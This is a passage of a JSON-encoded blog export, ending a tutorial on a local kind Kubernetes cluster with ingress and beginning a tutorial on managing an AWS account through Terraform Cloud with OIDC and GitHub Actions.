data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epathType\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebackend\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few critical options here.  The first is the annotation to rewrite\nthe path so it doesn't include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment!  You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-20T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cdiv class=\"remark-mermaid remark-mermaid-default\"\u003e\u003csvg aria-roledescription=\"flowchart-v2\" role=\"graphics-document document\" viewBox=\"-8 -8 827.9453125 321.5\" style=\"max-width: 827.945px; background-color: transparent;\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns=\"http://www.w3.org/2000/svg\" width=\"100%\" id=\"my-svg\"\u003e\u003cstyle\u003e#my-svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#my-svg .error-icon{fill:#552222;}#my-svg .error-text{fill:#552222;stroke:#552222;}#my-svg .edge-thickness-normal{stroke-width:2px;}#my-svg .edge-thickness-thick{stroke-width:3.5px;}#my-svg .edge-pattern-solid{stroke-dasharray:0;}#my-svg .edge-pattern-dashed{stroke-dasharray:3;}#my-svg .edge-pattern-dotted{stroke-dasharray:2;}#my-svg .marker{fill:#333333;stroke:#333333;}#my-svg .marker.cross{stroke:#333333;}#my-svg svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#my-svg .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#my-svg .cluster-label text{fill:#333;}#my-svg .cluster-label span,#my-svg p{color:#333;}#my-svg .label text,#my-svg span,#my-svg p{fill:#333;color:#333;}#my-svg .node rect,#my-svg .node circle,#my-svg .node ellipse,#my-svg .node polygon,#my-svg .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#my-svg .flowchart-label text{text-anchor:middle;}#my-svg .node .label{text-align:center;}#my-svg .node.clickable{cursor:pointer;}#my-svg .arrowheadPath{fill:#333333;}#my-svg .edgePath .path{stroke:#333333;stroke-width:2.0px;}#my-svg .flowchart-link{stroke:#333333;fill:none;}#my-svg .edgeLabel{background-color:#e8e8e8;text-align:center;}#my-svg .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#my-svg .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#my-svg .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#my-svg .cluster text{fill:#333;}#my-svg .cluster span,#my-svg p{color:#333;}#my-svg div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#my-svg .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#my-svg :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;}\u003c/style\u003e\u003cg\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"6\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointEnd\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 0 L 10 5 L 0 10 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"4.5\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointStart\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 5 L 10 10 L 10 0 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"11\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleEnd\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"-1\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleStart\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"12\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossEnd\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"-1\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossStart\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cg class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-AWS LE-Token\" id=\"L-AWS-Token-0\" d=\"M179.515625,135.25L175.34895833333334,135.25C171.18229166666666,135.25,162.84895833333334,135.25,147.307188259572,146.03798213279688C131.76541818581066,156.8259642655938,109.01521137162133,178.40192853118756,97.64010796452668,189.18991066398442L86.26500455743201,199.97789279678133\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Token LE-Terraform\" id=\"L-Token-Terraform-0\" d=\"M82.41940849853157,237.125L94.43544458210964,248.52083333333334C106.45148066568771,259.9166666666667,130.48355283284386,282.7083333333333,158.28800037475526,294.1041666666667C186.09244791666666,305.5,217.66927083333334,305.5,249.24609375,305.5C280.8229166666667,305.5,312.3997395833333,305.5,347.5989583333333,305.5C382.7981770833333,305.5,421.6197916666667,305.5,460.44140625,305.5C499.2630208333333,305.5,538.0846354166666,305.5,567.7774037759685,298.7553356134401C597.4701721352704,292.0106712268801,618.034094270541,278.52134245376027,628.3160553381762,271.77667806720035L638.5980164058114,265.03201368064043\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Terraform LE-JWT\" id=\"L-Terraform-JWT-0\" d=\"M643.0296381699707,178.625L632.0090734749756,171.39583333333334C620.9885087799804,164.16666666666666,598.9473793899903,149.70833333333334,584.6434813616619,142.47916666666666C570.3395833333333,135.25,563.7729166666667,135.25,560.4895833333334,135.25L557.20625,135.25\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-JWT LE-AWS\" id=\"L-JWT-AWS-0\" d=\"M368.9765625,135.25L364.8098958333333,135.25C360.6432291666667,135.25,352.3098958333333,135.25,344.8598958333334,135.25C337.40989583333334,135.25,330.8432291666667,135.25,327.5598958333333,135.25L324.2765625,135.25\"\u003e\u003c/path\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(607.33984375, 170.625)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"Terraform\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"83.5\" width=\"209.5390625\" y=\"8\" x=\"-4.93359375\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-4.93359375, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"209.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eTerraform Cloud Workflow #2\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(99.8359375, 49.75)\" id=\"flowchart-OIDCProvider-3\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"113.671875\" y=\"-16.75\" x=\"-56.8359375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-49.3359375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"98.671875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Provider\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(172.015625, -8)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"AWS\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"270.5\" width=\"139.4609375\" y=\"8\" x=\"8\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(52.25, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"50.9609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAWS #1\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(77.73046875, 59.75)\" id=\"flowchart-OIDC-0\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"89.4609375\" y=\"-16.75\" x=\"-44.73046875\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-37.23046875, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"74.4609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Trust\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 143.25)\" id=\"flowchart-Roles-1\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"52.171875\" y=\"-16.75\" x=\"-26.0859375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-18.5859375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"37.171875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eRoles\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 226.75)\" id=\"flowchart-Resources-2\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"85.5390625\" y=\"-16.75\" x=\"-42.76953125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-35.26953125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"70.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eResources\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(64.7578125, 220.375)\" id=\"flowchart-Token-5\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"129.515625\" y=\"-16.75\" x=\"-64.7578125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-57.2578125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"114.515625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAccess Token #4\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(460.44140625, 135.25)\" id=\"flowchart-JWT-8\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"182.9296875\" y=\"-16.75\" x=\"-91.46484375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-83.96484375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"167.9296875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eJWT \u0026#x26; Cloud Role ID #3\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/svg\u003e\u003c/div\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed througuh terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correct\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you'll need\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git.  Its the only infra\nthat will not be controlled by your CI/CD pipeline.ccccccug\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged.  It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-boostrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, \u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we'll need\nfor creating these resources.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: 